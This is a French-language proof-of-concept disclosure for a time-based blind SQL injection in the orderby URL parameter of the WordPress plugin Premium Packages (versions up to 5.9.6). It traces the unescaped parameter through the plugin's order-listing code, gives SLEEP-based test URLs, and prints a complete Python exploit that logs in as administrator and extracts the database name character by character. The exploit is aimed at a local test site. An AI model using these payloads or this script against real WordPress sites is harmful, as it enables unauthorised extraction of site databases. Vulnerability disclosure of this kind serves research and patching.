
PoC de CVE-2025-24659
Plugin WordPress
Nom du composant Premium Packages – Vendre des produits numériques en toute sécurité
Version vulnérable <= 5.9.6
Slug du composant wpdm-premium-packages
Lien du composant https://wordpress.org/plugins/wpdm-premium-packages/
Classe de vulnérabilité A3: Injection
Type de vulnérabilité Injection SQL
Administrateur
Une vulnérabilité d'injection SQL existe dans les versions 5.9.6 et inférieures du plugin Premium Packages - Vendre des produits numériques en toute sécurité (ci-après dénommé plugin Premium Packages). Cela est dû à un échappement insuffisant du paramètre d'URL orderby lors de la consultation de la liste des commandes dans le menu des commandes du tableau de bord du plugin (/wp-admin/edit.php?post_type=wpdmpro&page=orders).
Par conséquent, un attaquant disposant de privilèges d'administrateur peut exploiter cette vulnérabilité pour accéder à toutes les informations stockées dans la base de données du site cible.
De plus, bien que cette vulnérabilité d'injection SQL ne permette pas la récupération directe de données à partir des réponses, des informations peuvent être extraites à l'aide de techniques d'injection SQL aveugle basée sur le temps (Time-Based Blind SQL Injection) qui exploitent la différence de temps de réponse selon que les conditions dans les requêtes SQL sont vraies ou fausses.
Connectez-vous en tant qu'administrateur à un site WordPress où le plugin Premium Packages est installé et activé.
Le plugin Premium Packages étant un module complémentaire du plugin Download Manager (https://wordpress.org/plugins/download-manager/), le plugin Download Manager doit également être installé et activé.
Après avoir accédé à l'URL ci-dessous, la condition de la requête SQL (1=1) sera toujours vraie, ce qui fera afficher la page après 5 secondes grâce à la fonction SLEEP(5).
http://localhost:8080/wp-admin/edit.php?post_type=wpdmpro&page=orders&orderby=1,(IF(1=1,(SLEEP(5)),0))

1=2) est toujours fausse, la page s'affiche immédiatement.http://localhost:8080/wp-admin/edit.php?post_type=wpdmpro&page=orders&orderby=1,(IF(1=2,(SLEEP(5)),0))

Lors de la demande du tableau de bord de la liste des commandes du plugin Premium Packages, le fichier /wp-content/plugins/wpdm-premium-packages/includes/menus/templates/orders/list-orders.php est exécuté.
À ce stade, la valeur du paramètre d'URL orderby est affectée à la variable $orderby sans échappement approprié. Ensuite, la variable $orderby est passée à la variable $qry et complète la clause ORDER BY dans la requête SQL.

Ensuite, la variable $qry est passée en argument aux fonctions totalOrders et GetAllOrders.
Ces fonctions sont définies dans le fichier /wp-content/plugins/wpdm-premium-packages/includes/libs/Order.php, et la valeur de l'argument reçu est directement utilisée dans les requêtes de base de données.

Par conséquent, étant donné que la valeur du paramètre d'URL orderby est utilisée directement dans les requêtes de base de données sans échappement, une vulnérabilité d'injection SQL se produit.

Ensuite, saisissez la commande suivante pour exécuter le code PoC.
Modules requisrequests
python poc.py

import re
import time
import string
import requests
## To set up a proxy, enter the server address below.
PROXY_SERVER = None
proxies = {
"https": PROXY_SERVER,
"http": PROXY_SERVER,
}
SLEEP_TIMER = 1
def __login_get_session(login_id, login_pw):
session = requests.session()
data = {
"log": login_id,
"pwd": login_pw,
"wp-submit": "Log In",
"testcookie": 1
}
resp = session.post(f"{TARGET}/wp-login.php", data=data, proxies=proxies)
if True in ["wordpress_logged_in_" in cookie for cookie in resp.cookies.keys()]:
print(f" |- Successfully logged in with account {login_id}.")
return session
else:
raise Exception(f"[-] Failed to log in.")
def poc_get_db_length(session):
length = 1
while True:
payload = f"1,(IF(LENGTH(DATABASE()) = {length},(SLEEP({SLEEP_TIMER})),0))"
params = {
"post_type": "wpdmpro",
"page": "orders",
"orderby": payload
}
start_time = time.time()
session.post(f"{TARGET}/wp-admin/edit.php", params=params, proxies=proxies)
if (time.time() - start_time) < SLEEP_TIMER:
print(f" |- Database name length is greater than {length}.")
length += 1
else:
print(f" |- Database name length: {length}")
break
return length
def poc_get_db_name(session, db_length):
db_name = ""
for i in range(1, db_length+1):
for char in string.ascii_letters + string.digits:
payload = f"1,(IF(SUBSTR(DATABASE(),{i},1)=CHAR({ord(char)}),(SLEEP({SLEEP_TIMER})),0))"
params = {
"post_type": "wpdmpro",
"page": "orders",
"orderby": payload
}
start_time = time.time()
session.post(f"{TARGET}/wp-admin/edit.php", params=params, proxies=proxies)
if (time.time() - start_time) > SLEEP_TIMER:
db_name += char
print(f" |- Database name: {db_name.ljust(db_length, '*')}")
break
print(f" |- Successfully extracted the database name: {db_name}")
def poc():
####
## 1. Log in as administrator
####
print(f"[+] Logging in with administrator account.")
print(f" |- Account: {ADMIN_ID}, Password: {ADMIN_PW}")
admin_session = __login_get_session(ADMIN_ID, ADMIN_PW)
admin_session.get(f"{TARGET}/wp-admin/", proxies=proxies)
###
## 2. Retrieve database name length
###
print(f"[+] Retrieving database name length.")
db_length = poc_get_db_length(admin_session)
###
## 3. Retrieve database name
###
print(f"[+] Retrieving database name.")
poc_get_db_name(admin_session, db_length)
if __name__ == "__main__":
## WordPress Target
TARGET = "http://localhost:8080"
## Administrator ID/PW
ADMIN_ID = "admin"
ADMIN_PW = "admin"
poc()